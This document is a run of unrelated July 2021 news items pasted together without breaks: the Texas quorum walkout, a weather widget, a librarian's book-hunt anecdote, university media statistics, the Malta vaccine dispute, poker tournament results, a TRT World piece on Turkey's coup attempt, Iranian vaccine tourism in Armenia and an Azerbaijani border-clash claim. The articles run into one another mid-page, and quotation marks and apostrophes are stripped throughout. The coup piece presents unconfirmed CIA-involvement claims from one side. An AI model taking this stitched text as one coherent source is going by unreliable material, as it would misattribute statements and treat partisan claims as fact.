Texans oppose walkouts to avoid votes, Abbott said. No one else gets paid to walk off their job. Quitters never win. We will continue successive Special Sessions until elected representatives do what they were elected to do  debate issues and cast votes.

According to a recent Texas Public Policy Foundation (TPPF) poll, by a two-to-one margin, Texans oppose legislators using procedural maneuvers to prevent the Legislature from voting. Fifty-four percent polled said they oppose members staging walkouts in order to deny the Legislature the quorum it needs in order to hold votes. Only 27% polled said they support legislators walking out.

The states Constitution requires two-thirds of 150 members in the Legislature to be present in order to conduct business. With 67 Democrats leaving, they ensured that the House could not conduct business when it was to reconvene Tuesday.

Walkouts are only supported by the extreme left, TPPFs chief communications officer Brian Phillips said in a statement. Most Texans see it as a childish and desperate move, and they dont like temper tantrums. We can have respectful disagreements and energetic debates. But the process must move forward. There will be a side that gets the votes and a side that doesnt. If one side can abuse the rules to prevent votes, then we cease to have a functioning democracy. The left is embarrassing themselves and Texas.

According to the poll, more than one-third of Democrats, 53% of Independents, and 44% of moderates oppose the walkout. The majority of Republicans polled, 68%, and conservatives, 67%, oppose it. Forty-three percent of Hispanics and 42% of Blacks oppose the walkout.

Abbott told Fox News Monday night that a procedure called Call of the House would be used to ensure that Democrats return to the Capitol to do their jobs once they are back in Texas.

State legislative rules allow House Speaker Dade Phelan and Senate leader Lt. Gov. Dan Patrick to call on law enforcement to arrest truant lawmakers when the Legislature is in session. Those who refuse to attend the session can legally be restrained, handcuffed and brought back into their respective chambers. The speaker and lieutenant governor can also order the doors of the chambers locked, ensuring that those who try to leave are not physically able to do so.

The Democrats who left for Washington D.C. put at risk state funding that will deny thousands of hard-working staff members and their families a paycheck, health benefits, and retirement investment, Phelan said. The Texas House will use every available resource under the Texas Constitution and the unanimously passed House Rules to secure a quorum to meaningfully debate and consider election integrity, bail reform, benefits for retired teachers, Child Protective Services reform, Article X funding, and the other important measures Gov. Abbott placed on the special session agenda.

This weeks walkout could have been avoided if Phelan had invoked the Call the House in May, critics say, a decision criticized by Patrick.

In an interview with WBAP-AM radio, Patrick said Phelan knew House Democrats were planning to walk out to break quorum at the 11th hour and told them that he would not invoke Call of the House.

In the interview, Patrick said that he locked the doors of the Senate during an SB7 conference committee debate and increased DPS presence in an effort to prevent Democrats from leaving to intentionally break quorum.

Patrick also said Phelan met with House Democrats and told them he was not going to lock the chamber doors or send DPS to arrest them and that Phelan appeared to have mismanaged the House calendar.

The calendar was mismanaged, Patrick said. I hate to say on purpose, but there is a pattern here.

Because the Democrats broke quorum in May, the Legislature failed to pass two legislative priorities of Abbotts: election reform and bail reform. Since then, Abbott called a special session to now address 11 legislative items. Special sessions last for 30 days and can be extended for additional 30-day periods.

Abbott also partially vetoed a portion of the budget that funds the salaries of lawmakers, their staffs and the salaries of agency employees.

Funding should not be provided for those who quit their job early, leaving their state with unfinished business and exposing taxpayers to higher costs for an additional legislative session, Abbott said.

Monday was the second time Democrats broke quorum in two months.

Isnt that the most un-Texan thing you have ever heard? Texans running from a fight? the governor said.

Attorney General Ken Paxton said Democrats behavior was a disgrace to democracy. House Democrats have hurt their constituents and demonstrated that when theyre faced with a problem, they run away  literally. Its shameful and they have failed as elected officials.

Brownsville Democrat Sen. Eddie Lucio Jr. said he wasnt leaving Texas.

I have decided to stay at my post and do what I can from there, Lucio told the American-Statesman. I respect members and their choice of how best they should represent their districts.

Lucio said he was concerned about staff members who arent being paid their salaries and benefits and risk losing them unless lawmakers convene and vote on the budget before Sept. 1. In order to do so, Abbott said they must first address priority legislative items.

We need to address ... the states budget, Lucio said.
Tyler, TX (75702)

Today

Partly cloudy this evening followed by increasing clouds with showers developing after midnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 50%..

Tonight

Partly cloudy this evening followed by increasing clouds with showers developing after midnight. Low 77F. Winds SSW at 5 to 10 mph. Chance of rain 50%.
By Christopher Tangeman

Many of us have heard the anecdotes, told the jokes or seen the memes. Librarians often find resources based upon the vaguest or most inaccurate information. In fact, one of the first things prospective librarians learn in grad school about providing reference services is how to get at what the patron is really seeking, regardless of how they form their initial inquiries. And if you have ever staffed a service desk at a library, it is likely that you have experienced similar questions.

Im looking for a book. I forget the title, but it has a red cover.

My own daughter recently asked at our public library for a book whose cover has a girl and a boy walking on a bridge with a cat with hooves and a mustache, and buildings in the background with a giant fire (translation: Sophie Quire and the Last Storyguard, by Jonathan Auxier). And yes, we found it.

These situations even turn up in movies. When a young library employee played by Parker Posey mishears a patrons request and points her toward books about oranges and peaches, the more experienced librarian recognizes the patrons request for Charles Darwins On the Origin of Species (the movie in question is Party Girl, 1995).

Library staff experience perplexing searches like these all of the time. But librarians are wizards! Librarians can find anything!

Well, I am pleased to add another tale to the library search canon.

A visiting patron from the community recently entered our library, came up to our service desk and said, I am looking for a book. I was here years ago, and I took a few pictures of a book on the fifth floor, including some maps and the cover. But one of the pictures was a complete blur. It was the cover. I want to find that book.

Me: OK. Do you remember what the title was?

Him: No.

Me: Do you know who wrote it?

Him: No.

Me: Can you tell what the call number is from the pictures?

Him, looking at the pictures: Ummm, no.

Me, looking at the pictures: This picture has other books on the shelf in the image. Maybe we can tell from those.

Him: Well, I moved to a completely different row on the fifth floor where the light was better so that I could take the pictures.

Me: Hmmm. Were you looking at any certain genre of books or any specific topic?

Him: No. But it was a fiction book. Do you have fiction books in one section? Like in the public library?

Me: Not really. There are tens of thousands of books on the fifth floor that are in the Library of Congress class P, which is the class for Language and Literature.

Admittedly, my training in the art of the reference interview occurred many years ago, and my subsequent years of focusing on interlibrary loan requests has left me more than a little out of practice. I was not able to glean anything useful from his description of the events of that day; I wasnt even able to determine what year this photographic session had transpired.

The books had most certainly been shifted in the intervening years, as there had been a shuffling of the call numbers housed on the fifth floor just a couple of years earlier.

Had the book met the fate of many others in the name of a growing collection and in the face of an ever-growing search for more collaborative space in the library? Had it been withdrawn? Weeded? Deaccessioned? Was it even still in the building?

Stay positive, man! Lets work with what we have.

The pictures he had (the ones that were clear) were of three maps that showed the Nicobar Islands, Nangcouri Harbor and Danish possessions in Guinea. OK, lets do some librarying.

I went to the library catalog to look for those three things. Subject searches in the catalog for Nicobar Islands, Nangcouri Harbor and variations on Danish possessions in Guinea turned up nothing. OK, how about keyword searches? Nothing but e-books and history books (Library of Congress class D  on the fourth floor instead of the fifth).

Next I went to our database search page and tried those same searches, limiting the searches to books at UD. Again, nothing but e-books and history books on the fourth floor.

Then I just puttered around on Google and Wikipedia for a while (I get paid to do this!) to see if I could find different search terms or books on the subject, other than history books. One might be surprised at how many times this has led to my locating an interlibrary loan book or article from an old and/or obscure citation (see A Tale of Interlibrary Loan Sleuthing).

The only leads I came up with, some of which my colleague Elizabeth Jacobs had independently found through her own searching, were Chronicles of Martin Hewitt (contained a story called The Nicobar Bullion Case) and a variety of non-UD books, all of which were located in the PR section of the fifth floor. That line of inquiry led to nothing.

Finally, I looked through the variety of subject groups covered by the Library of Congress Classification System. I found mentions of Danish this or that in a few different places, including the call number range PD3001 to PD3929, for books about the Danish language. That didnt seem likely since the maps were in English. So I looked in the range PT7601 to PT8260 for Danish literature. Again, the maps were in English, so I didnt know if this would be helpful. But it was worth a look.

Doing an LCCN (Library of Congress call number) scan from PT7601 to PT8260 showed a lot of books about Danish literature or of specific titles by Danish authors. So up to the stacks I went.

I could see in one of the patrons pictures of the maps that it looked like the cover of the book might be white or some off-white shade, so I had something to look for on those rows of shelves between PT7601 to PT8260.

And  lo and behold!  there was an ivory-colored, almost cornsilk-colored book on the bottom shelf (theyre always on the bottom shelf). On its spine was the title The House With the Green Tree, and on its front cover was a clear version of the tree that the patron had taken a picture of however many years ago.

I notified the patron, who was very happy to be reunited with the 1944 book.

No, sir. I require no gifts or monetary remuneration. The smile on your face is prize enough for me. For I am a librarian, and finding books is my business.

 Christopher Tangeman is the interlibrary loan borrowing specialist in the University Libraries. His preternatural searching skill does not extend to finding lost keys, Easter eggs or his 4-year-olds missing shoe (every single morning), but if its a book you seek, it is a book he will find.
The University achieved an estimated $9.64 million of earned media coverage in 2020-21, with an estimated reach of 7.68 billion people in fiscal year 2021. Media in markets outside Dayton mentioned the University at least 3,168 times, for stories on a wide range of topics including Election 2020, airport living and grasshoppers.

Highlights included an article on people who live in airports by history professor Janet Bednarek for The Conversation, which attracted more than 1.3 million readers, and an Associated Press story, "Western drought brings another woe: voracious grasshoppers" with quotes from biologist Chelse Prather's, ran at least 748 times in every state except Alaska.

Twelve faculty shared their expertise on topics surrounding the 2020 presidential election with national and international outlets, including ABC News in Australia, Newsy, Al Jazeera English, USA Today, Crux, Newsweek and "CBS This Morning," among others. Three faculty provided live election night analysis for stations in Dayton and Columbus, Ohio.

Sixteen faculty contributed 21 pieces to the Conversation, a news outlet featuring the expertise and research of academics, pushing the cumulative number of reads for UD Conversation articles to more than 4 million. Read all the faculty articles here.

Other high-profile news outlets featuring UD expertise, students or programs include National Catholic Reporter, National Law Journal, the National Jurist, NBC News, Elle, Vox, Aerospace America, The Hill, CNN, WIRED, The Huffington Post, Catholic News Service, Commonweal, U.S. News & World Report, Axios, America, Bloomberg, Reuters, DIVERSE: Issues in Higher Education and University Business, among others.

"Working with the media often takes considerable time and attention, often on very short notice and outside of normal working hours," Provost Paul Benson said. "We are grateful for those who work with our office of news and communications to share their scholarly expertise and news about our student successes or distinctive programs that help advance the University's academic reputation."

Cumulative figures are based on the Cision media monitoring service data, and do not include broadcast media hits.

Click here for a complete list of media clips for the 2020-21 fiscal year.

To request expert comment for a news story or an interview about a UD program or initiative, email mediarelations@udayton.edu.
(Getty Images)

Britons who were given an Indian-made version of the AstraZeneca vaccine will no longer be turned away from Malta, the transport secretary has said.

Grant Shapps said that Maltese authorities have amended their travel advice to allow entry for all holiday-makers who received the jab in Britain, regardless of where it was manufactured.

All vaccines have gone through rigorous safety and quality checks, he added in a tweet.

Malta has yet to confirm the change.

Up to five million British people have been given the version of the jab without being told that it is not licensed in the European Union (EU), reports The Telegraph.

While there is nothing wrong with the vaccine, and it has been authorised by the World Health Organisation (WHO), the European Medicines Agency (EMA) is yet to approve it. This means it is not currently being accepted as part of the EUs vaccine passport scheme.

Some European countries have individually agreed to admit Brits who have had the jab and Malta has now done so too after a couple in their 60s were turned back at Manchester Airport at 3.30am on Friday.

They had tried to board a flight to Malta to visit their son who they had not seen for a year.

Glenda Hardy told the Telegraph: We were just gutted.

We thought wed covered ourselves  we paid for PCR tests, downloaded the NHS app and printed off the letter  but we fell at the final hurdle. I feel like were in limbo.

We havent seen our son since he moved there a year ago. We had our flights refunded by Tui, but thats by-the-by. Our big fear is that we just dont know when well be able to go to Malta.

Her husband Steve added: When we took our vaccine we had a vaccine, we were asked to take them, we took both doses. We didnt know what we were getting.

We trusted the Government on that. Boris Johnson said that there were no Indian vaccines issued in this country. Thats obviously a lie because its on our page.

The problem is the fact that we cant see our son. We jumped through the hoops... and then we were hit with this. It was just devastating... what the hell are we supposed to do?

Story continues

They had been travelling with the travel operator Tui. The official who turned the couple back told them to try to get a third jab, so they each had two doses of an EU-recognised vaccine.

Transport Secretary Grant Shapps said Brits who have received doses of the AstraZeneca vaccine manufactured in India should not be prevented from travelling.

Mr Shapps said the Government would be taking up the issue with Maltese authorities which do not accept the Indian-made vaccine.

It is not right and it shouldn't be happening, he told BBC Breakfast.

The Department of Health and Social Care previously said British people who had received the Indian-made jabs would not be negatively impacted.

A spokesman said earlier this month: All AstraZeneca vaccines given in the UK are the same product and appear on the NHS Covid Pass as Vaxzevria. The European Medicines Agency has authorised this vaccine and were confident travel will not be affected.

The batch numbers for the Indian manufactured doses, produced by the Serum Institute of India and known as Covishield, appear on the Covid Travel Pass in the NHS App (4120Z001, 4120Z002 and 4120Z003).

Entry will not be allowed if the vaccine batch on your certificate is from one of the following: 4120Z001, 4120Z002, 4120Z003, according to Maltas latest travel guidelines, updated on July 7.

Read More

No gain in reducing interval between doses of Covid vaccine

Angolas Covid vaccine one-stop shops - a model for Africas rollout?

End Freedom Day confusion, Boris Johnson told
TEL AVIV (Reuters) - The United Arab Emirates opened its embassy in Israel on Wednesday, with Israel's president attending the inaugural ceremony.

The embassy is situated in the Tel Aviv Stock Exchange building and its opening followed the inauguration of Israel's embassy in the UAE last month.

(Reporting by Steven Scheer; Editing by Jeffrey Heller)
Daniel Negreanu Notches First Win in 8 Years in PokerGO Cup #7: $50K NLHE ($700,000)

July 14 2021 Jason Glatzer

GGPoker Ambassador Daniel Negreanu came from the middle of the pack at the five-player official final table from an original field of 35 entries in the PokerGO Cup Event #7: $50,000 No-Limit Hold'em to eliminate his final four opponents single-handed including the red-hot Ali Imsirovic to win the $700,000 top prize.

It might sound hard to believe, but this was Negreanu's first title in nearly eight years. Back in 2013, Negreanu won the WSOP Player of the Year in no small part by winning two of his six WSOP gold bracelets in 2013 with victories in the WSOP Asia Pacific A$10,000 Main Event for A$1,038,825 ($1,087,160) and the WSOP Europe Event #7:  25,600 NLHE High Roller for 725,000 ($979,955).

Despite Negreanu managing many impressive results over the past eight years, he is happy to get the monkey off his back in a huge way on Tuesday evening at the PokerGO Studio at the ARIA Resort & Casino.

"If I look at my results since 2013, Ive cashed for $20 to $30 million, so Ive still been able to post wins in terms of finances, but the elusive top prize has been missing, Negreanu said to PokerGO when talking about not finding the winner's circle in many years. "Ive been a bridesmaid so many times. Just the demons and the ghosts in your brain, like when Im heads up with (David Coleman) and that three hit the turn, it was just every reminder, like Buckner back in Shea Stadium. Every possible bad thing Im thinking in my head. I cant help it. Im human. So just to get that win out of the way it feels like I dont have to think about that anymore."

Event #7: $25K NLHE Final Table Results

Place Player Country Payout PokerGO Tour Points 1 Daniel Negreanu Canada $700,000 420 2 David Coleman United States $455,000 273 3 Alex Foxen United States $280,000 168 4 Sergi Reixach Spain $192,500 116 5 Ali Imsirovic Bosnia and Herzegovina $122,500 74

Negreanu shared with PokerGO after the win that he has changed his game in the past few years to include more bluffing.

"I think my game is better than its ever been," Negreanu said. "Its simply a factor of really understanding bluffing more and understanding that I need to do it more. For most of my career in the 2000s, I didnt need to bluff much because people called too often. I got to play a small-ball approach that didnt require me taking any risks. Now, if you do that against really great players, youre not going to get value because theyre just going to keep folding. The value has to come from a little bit more aggression. So I upped my aggression in a lot of spots, I do a lot more bluffing, and earn some pots.

"In the old days, I used to think, 'Well, these guys are all bad, theyre going to pay me off,' so whats the point in bluffing? But to beat these guys, you have to earn it. You have to have some cajones to be like, 'Alright, Im all in. If you call, I lose,' and feel OK with that. My relationship with bluffing has changed. It used to feel like a punch in the gut when I lost those chips. Like I screwed up, but now its just like, No, it was a good bluff. He called, but so what? Ive gotten to that place now with bluffing."

Final Table Action

PokerGO Tour Leaderboard Ali Imsirovic entered the final table with the chip lead with Negreanu in the middle of the pack. Imsirovic already won two out of the first six events this festival where each time he entered the final table with the chip lead.

Last night was different for the Bosnian poker phenom as he quickly lost the chip lead before falling in fifth place for $122,500 when his tens were no match to Negreanu's rockets.

Sergi Reixach was the next to go on a bad beat in fourth place for $192,500. Negreanu jammed with eights on a seven-high flop and was called by Reixach with cowboys. An eight spiked the turn to give Negreanu a set and he eliminated Reixach after a blank came on the river.

Shortly after, Alex Foxen got it in good with ace-jack against Negreanu's queen-seven suited. But a seven on the board paired up Negreanu and Foxen was ousted in third place for $280,000.

Negreanu Comes from Behind Against Coleman

Daniel Negreanu beats David Coleman heads-up in PokerGO Cup #7

Despite eliminating the first three opponents at the official final table, Negreanu was slightly behind David Coleman when heads-up play began.

Negreanu took the lead and held onto it during most of the one-on-one battle. While there were some hiccups along the way for Negreanu including a hand where he doubled Coleman on a flip where treys beat ace-jack, Negreanu had nearly double the chips of his opponent when the final hand took place.

Coleman jammed the button with fives for 19 big blinds and Negreanu called with king-ten. It appeared that Coleman would double after Negreanu bricked the flop and the turn. However, a ten came raining down on the river to pair up Negreanu to give him his first victory in eight years while Coleman was awarded $455,000 for his runner-up performance.

"I feel like Ive competed well all week," Negreanu said to PokerGO. "I had a bubble, I had two min-cashes, and then I had this one. I feel like Ive been in there. I have the utmost respect for my opponents and how good they are. I do believe its the best learning ground, too  watching what the top players do, the Ali Imsirovics, the Jake Schindlers, and Alex Foxen  there are so many great players here. I have the luxury of being able to afford to play with them and feel like Im doing pretty well against them, but its the best test of where youre at. If you really, really, want to say that youre the best tournament player in the world or youre among them, then you need to compete against them and theyre here in droves. This is the spot. Here at the PokerGO Studio."

Soverel Leads and Negreanu Alive with 5 Players Remaining in PokerGO Cup Event #8: $100K NLHE

Sam Soverel leads final 5 players in Event #8

The inaugural PokerGO Cup at the PokerGO Studio at the ARIA Resort & Casino is coming to a close with perhaps the best event saved for last with the buy-in increased to six figures for the PokerGO Cup Event #8: $100,000 No-Limit Hold'em.

The event attracted 23 entries to create a $2,300,000 prize pool with the top four players guaranteed at least a $230,000 payday with the eventual winner taking home a massive $1,058,000 top prize.

Sam Soverel eliminated Stephen Chidwick near the end of the opening day and will enter the five-player official final table with a commanding chip lead with 2,225,000 in chips.

All eyes will be on Daniel Negreanu, who ended a nearly eight-year dry spell on finding the winner's circle before winning Event #7: $50,000 on Tuesday evening, and will aim for back-to-back victories with 735,000 in chips.

The currently PokerGO Leaderboard captain Ali Imsirovic has a sweat in the final event. If Negreanu finishes in third place or better, he will be crowned the inaugural PokerGO champion. If this doesn't happen, Soverel can also win the leaderboard with a victory in the final event.

Meanwhile, Dan Smith (690,000), Cary Katz (565,000), and Sean Winter (385,000) will all aim to spin up their short stacks with their eyes on the massive $1,058,000 top prize.

PokerGO Cup Event #8 Final Table Seat Draw

Seat Player Country Chip Count Big Blinds 1 Sean Winter United States 385,000 10 2 Daniel Negreanu Canada 735,000 18 3 Cary Katz United States 565,000 14 4 Dan Smith United States 690,000 17 5 Sam Soverel United States 2,225,000 56 Total 4,600,000 115 Average 920,000 23

Where to Watch the Final Table?

The final five players will return to the PokerGo Studio on Wednesday, July 14 with the action expected to begin at 3 p.m. EDT. PokerGO will live stream what promises to be some of the most exciting poker action of the year beginning at 4 p.m. EDT.

Remember, an annual subscription to PokerGO costs $99.99, but you can save $20 off by using promo code "CUP2021" at checkout. Sign up by going here.

Final Table Payouts

All returning players will come back on the money bubble with the top four players guaranteed at least a $230,000 payday. The winner is slated to go home with the first seven-figure prize of the festival of $1,058,000.

Place Prize 1 $1,058,000 2 $644,000 3 $368,000 4 $230,000

2021 PokerGO Cup Standings

Ali Imsirovic leads the PokerGO Cup Leaderboard

PokerGO Tour Leaderboard captain Ali Imsirovic has also been on top of the PokerGO Cup Leaderboard for four straight days after winning both Event #2 and Event #4. He had a chance to pad his lead in Event #7 but Daniel Negreanu is in the thick of things for the PokerGO Cup title as he is on the final table in the final event of the festival in the PokerGO Cup Event #8: $100,000 No-Limit Hold'em with five players remaining.

Negreanu needs a fourth-place finish or better to pass Imsirovic in points and a third-place finish to seal the deal. If Negreanu doesn't finish in third or better, it is still possible that Imsirovic won't win the title as Sam Soverel can see his name in lights if he wins Event #8 and Negreanu finishes in fourth or fifth place.

Rank Player Country Earnings Points 1 Ali Imsirovic Bosnia and Herzegovina $545,500 497 2 David Coleman United States $710,000 470 3 Daniel Negreanu Canada $766,200 468 4 Alex Foxen United States $533,200 421 5 Jason Koon United States $446,000 316 6 Dylan Linde United States $255,000 255 7 Sergi Reixach Spain $320,700 244 8 Jake Schindler United States $324,000 194 9 Daniel Weinand Canada $181,900 182 10 Sam Soverel United States $168,200 168

2021 PokerGO Schedule and Results

Date Event Entries Prize Pool Winner Country Prize July 6-7 Event #1: $10,000 No-Limit Hold'em 66 $660,000 Alex Foxen United States $178,200 July 7-8 Event #2: $10,000 No-Limit Hold'em 61 $610,000 Ali Imsirovic Bosnia and Herzegovina $183,000 July 8-9 Event #3: $10,000 No-Limit Hold'em 53 $530,000 Dylan Linde United States $169,600 July 9-10 Event #4: $15,000 No-Limit Hold'em 50 $750,000 Ali Imsirovic Bosnia and Herzegovina $240,000 July 10-11 Event #5: $25,000 No-Limit Hold'em 36 $900,000 Jake Schindler United States $324,000 July 11-12 Event #6: $25,000 No-Limit Hold'em 36 $900,000 Jason Koon United States $324,000 July 12-13 Event #7: $50,000 No-Limit Hold'em 35 $1,750,000 Daniel Negreanu Canada $700,000 July 13-14 Event #8: $100,000 No-Limit Hold'em 23 $2,300,000 $1,058,000
On the night of July 15 five years ago, Turkey was cold-shouldered by its traditional NATO allies, primarily the US, while a rogue part of the Turkish army affiliated with Fetullah Terror Organisation (FETO) attacked the country's key institutions both aerially and by land, even running over protesting civilians with tanks, TRT World writes.

Turkeys friends in the Gulf except Qatar were not supportive of Ankara either as later reports indicated that the UAE had supplied funds to coup plotters. Abu Dhabi's official condemnation of the coup came 16 hours late after the coup plotters' attempt was foiled by the Turkish government and its people.

As the coup unfolded, it not only targeted the Turkish institutions but also civilians. At least 250 Turkish citizens were killed and several thousand wounded by the coup plotters. With the deafening silence from its NATO allies, especially the US, one thing became clear for Turkeys governing establishment led by President Recep Tayyip Erdogan that Ankara cannot trust its NATO allies much in its time of need.

The failed coup raised serious questions in Ankara on the loyalty of NATO partners, says Richard Falk, professor of international law at Princeton University, who was in Istanbul during the night of the coup attempt. There was not only a display of wait and see attitudes in the principal capitals of Western Europe and of Washington as the coup unfolded, but there was no show of support for the legitimate government of Turkey from longtime allies, Falk tells TRT World. This seemed to send a message to Ankara that it should diversify its relations with other countries, and in particular, seek to deepen relations with important other countries, including Russia and China, the professor said.

Turkeys relations with both Russia and China have improved after the coup attempt as Ankara and Moscow have sought a common understanding on dealing with the Syrian conflict and other areas like bilateral military cooperation. In one of the outcomes of improving ties with Moscow, Turkey did not hesitate to buy Russian S-400s despite US objections to the deal, which was dictated by Ankara's main interest of securing its air defence in its tough neighbourhood.

Trust deficit

Like Falk, other experts have also observed a widening trust deficit between Turkey and NATO allies, primarily the US, following the coup attempt. The July 15 coup attempt had a profound impact on Turkeys foreign policy because that coup attempt undermined trust between Turkey and the US and other NATO allies, says Matthew Bryza, a former US diplomat, who had worked as a top foreign policy official in the White House under both Republican and Democrat administrations.

Fetullah Gulen, the FETO leader, continues to live on American soil in Pennsylvania, and his group, a byproduct of an enigmatic religious movement with international ties, freely operates across the US, making Turkey suspicious whether Washington has played any secret role in the coup or not.

In Turkey, the belief was that the US must have somehow been involved [in the coup attempt] if Fetullah Gulen enjoys the right to reside in the United States, Bryza tells TRT World. There were some clear indications that the coup plotters received a green light to proceed from Washington, says Falk. There were reliable reports of CIA involvement and collaboration with FETO, and although never definitively confirmed it led to Turkish attitudes of wariness and some distrust with respect to its relations with the United States.

Despite Turkeys suspicions, Washington has not appeared to be willing to do things to alleviate Ankaras concerns. I think in the US, there was a deep under-appreciation of the fact that Turkey thinks this way and the coup attempt was real and dangerous and could have - God forbid - resulted in the overthrow of the democratically-elected NATO government, Bryza says. Due to these misconceptions, the US was very slow to recognise that not only the coup attempt was real but also it was great that the coup plotters were defeated, according to Bryza. Thanks goodness! Turkish democracy survived. It just took too long for the US to recognise that, the American diplomat views. As a result, tension between Turkey and the US remains much higher than it should be, the diplomat analyses.

Turkeys trust issues are not limited to the US. During the night of defiance, most Western countries, which constantly preach to other countries like Russia and China to be more democratic, appeared to look like they were in mute mode in the face of a military coup, angering Ankara. Turkey espoused a more critical tone against the alliance, especially in the aftermath of the failed coup attempt of July 15, due to alleged links of the Gulenist putschists with NATO, wrote Bulent Aras, professor of international relations at the Qatar University, in an article penned six months after the coup.

The coup attempt hardened the Turkish perception that hostile forces like FETO were receiving help from governments supposedly friendly with Ankara, according to Falk.

But even after the coup attempt, Ankara feels the Western nations have failed to show any real empathy toward Turkeys experience on the night of July 15. The ensuing deterioration of relations with the West in general was due to a perceived lack of support for the democratically-elected government in Turkey and Western inability to disassociate itself from the Gulenists, which was literally harboured in the United States and Europe, particularly in Germany, in terms of human resources and lobbying power, Aras wrote. All these make the Turkish leadership believe that being self-reliant and establishing alternative international alliances with countries like Russia to secure a strategic autonomy matter much for the countrys long-term interests and survival.

Self-reliance

In Turkey, there is a well-known proverb: A bad neighbour makes one a property owner. While Turkey does not have very good neighbours, the growing trust deficit with its NATO allies appears to play a much bigger role in the country developing an autonomous foreign policy, which is less attached to NATO concerns than it had previously been the case.

It's made Turkey more sensitive to foreign influence and intervention. Since 2016, Turkey has become more assertive and independent in its foreign and military policy, says Sami al Arian, a Palestinian-American professor and director at the Center for Islam and Global Affairs (CIGA) at Sabahattin Zaim University. Turkey has realized that it needs to project strength to deter foreign powers from interfering in its internal affairs. Turkey has also demonstrated that it's willing to use hard power to protect its national interests and not just soft power, Arian tells TRT World, referring to Turkeys cross-border operations in northern Syria and Iraq, where Ankara has established a military presence following its interventions. Turkeys new foreign policy approach has caught the attention of some countries like the US and its regional allies, Israel and the UAE, which perceive that Turkey is trying to become a regional hegemon because of its increasingly independent posture, the professor says. Therefore, they've pursued a policy of containment and aggressive behaviour towards it. In return, Turkey has had to depend more on its own resources, build alternative alliances, and strengthen its relations with other great powers such as Russia and China, he says, referring to Turkey's efforts to find a self-reliant path.

Aras, the Turkish professor, predicted correctly in his early 2017 article that the emerging Turkish security doctrine would be defined more through self-help than collective security and seek alternative engagements to face multidimensional threats. On that note, the primary Turkish goal appears to be optimum independence in military technology with special emphasis on the national defence industry to build national tanks, attack helicopters, unmanned aerial vehicles (UAV), satellites, fighter jets, warships, and rifles, the professor added.

Since then, Turkey has shown the power of its military technologies in different battlefields from Libya to Syria, Iraq and Azerbaijan. Turkish-made drones have played a critical role to force Libyan warlord Khalifa Haftar forces to retreat from western parts of the country last year as it also stopped an Assad regime assault on Idlib, the sole opposition enclave in northwestern Syria in early 2020. Turkish military support was also crucial for the Azerbaijani armys victory against occupying Armenian forces in the disputed Nagorno-Karabakh region this year. Turkeys newly built native frigates have also demonstrated the countrys naval strength across the eastern Mediterranean, deterring countries like France and Greece in the region. Trusting its military technology and newly-developed navy, Turkey has pursued an assertive foreign policy across the eastern Mediterranean, signing a maritime agreement with Libyas UN-recognised Tripoli government.

Ankara also opposed the Saudi-UAE coalitions failed blockade against Qatar, sending military reinforcements to Doha in late 2017.
Iranians have been flooding into Armenia to get COVID vaccines, causing Tehran to complain and Yerevan to tighten the rules. Armenian nurses have been putting vaccines in an increasing number of Iranian arms. Iranians, frustrated with the slow pace of vaccination in their country, have been flocking to neighboring Armenia to get the jab, Eurasianet writes.

Exact numbers of the Iranians coming to get vaccinated arent available, but vaccination points in Yerevan -- which have been offering walk-up shots of AstraZeneca to anyone, including foreigners, since May -- have in recent weeks had long lines of nearly all Iranians. Prices of flights from Tehran to Yerevan have spiked, to up to $300. All flights between the two countries have been nearly full, said the head of the Iran-Armenia Joint Chamber of Commerce, Hervik Yarijanian, and Armenian airlines are adding flights. Social media posts have been showing huge crowds of Iranians at the land border between the two countries.

I am 45 years old and maybe in three months I can get a vaccination in Iran, but I want to do it earlier than that, so I came to Armenia, said one Iranian, who just gave his name as Fariborz, as he waited his turn in a queue near the vaccination point on Yerevans central Northern Avenue.

In Armenia, vaccine skepticism is high and the AstraZeneca vaccine has been especially unwanted because of some well-publicized problems in Europe and in neighboring Georgia. So the government has taken the unusual step of allowing even non-resident foreigners to get the shot at walk-up clinics in Yerevan.

The government of Armenia does not provide statistics on how many foreigners have received the jab, which they can get simply by showing their passport and undergoing a blood pressure check. The country had vaccinated a total of 108,000 people as of July 11, and its not known how many of those are Armenians and how many foreigners.

The Northern Avenue mobile vaccination point opens at noon. But a group of Iranian tourists at the vaccination point told Eurasianet that some of them had been waiting since 8 a.m. Unfortunately, there is no discipline, said Mona, one 20-something member of the group. We put our names in the list, but nobody was keeping the queue based on the names, she said. All of them are Iranians, Mona says, pointing at the crowd. We saw only less than maybe 10 Armenian people.

The number of tourists in general to Armenia is growing, from 41,881 in April to 64,101 in June, according to data from Armenias Tourism Committee. The number of people entering Armenia from Iran at the Meghri land border grew from 2,516 to 5,592 over the same period.

Of course, vaccination is not the only reason [for the increase], as the number of tourists from Iran has been high in previous years as well, said Gayane Ayvazyan, a spokesperson for the tourism committee. She said Armenia has not been specifically promoting vaccine tourism, but that the committee welcomes the Iranian influx.

The view from Tehran has been less enthusiastic. As publicity over the trips to Armenia has grown, officials have been forced to address the apparent failure of Iran to provide vaccines for its own citizens. A spokesperson for Irans health ministry, Kianoosh Jahanpour, told Iranian media that Armenias policy of vaccinating foreigners was not a strength of the country and was the result of vaccine skepticism there. He suggested Armenia was freely giving out the vaccines because it worried it may not be able to administer them to enough Armenians before they expire. The Iranian embassy in Yerevan, asked for comment, referred Eurasianet to tweets of Jahanpours in which he made similar comments.

In an interview with Iranian newspaper Hamshahri, Yerevans ambassador to Tehran Artashes Tumanyan complained about the negative remarks from Iranian officials, saying they were inappropriate and had no connection to reality. But he also added that Armenia would be tightening restrictions on foreigners getting vaccines, that as of July 15 only foreigners whose passport stamps showed they entered the country at least 10 days earlier would be able to get a shot. Armenias health ministry later confirmed the policy change to Eurasianet.

Less than 2 percent of Iranians have been fully vaccinated. Iran has relied for the most part on Russian and Chinese vaccines, having banned American- and British-produced vaccines. It also has produced its own vaccine, COVIran Barakat, which Supreme Leader Ali Khamenei received in June. It also has received about 2 million doses AstraZeneca through the vaccine-sharing COVAX program.
On July 14, the Armenian armed forces units using various caliber weapons subjected to fire the positions of the Azerbaijan Army located in the direction of the Sadarak region of the Nakhchivan Autonomous Republic on the Armenian-Azerbaijani state border at about 10:00 (GMT+4), according to the Azerbaijani Defense Ministry.

As a result, a serviceman of the Azerbaijan Army, Ibadulla Mardanli, was wounded. The wounded serviceman received first aid and was evacuated to the hospital.

Armenian Armed Forces were suppressed by the retaliation fire. Currently, the situation in this direction is stable, Azerbaijani units control the operational situation.
The Georgian delegation headed by Mayor of Tbilisi Kakha Kaladze is on a visit to Azerbaijans Baku city, the Baku City Executive Power said.

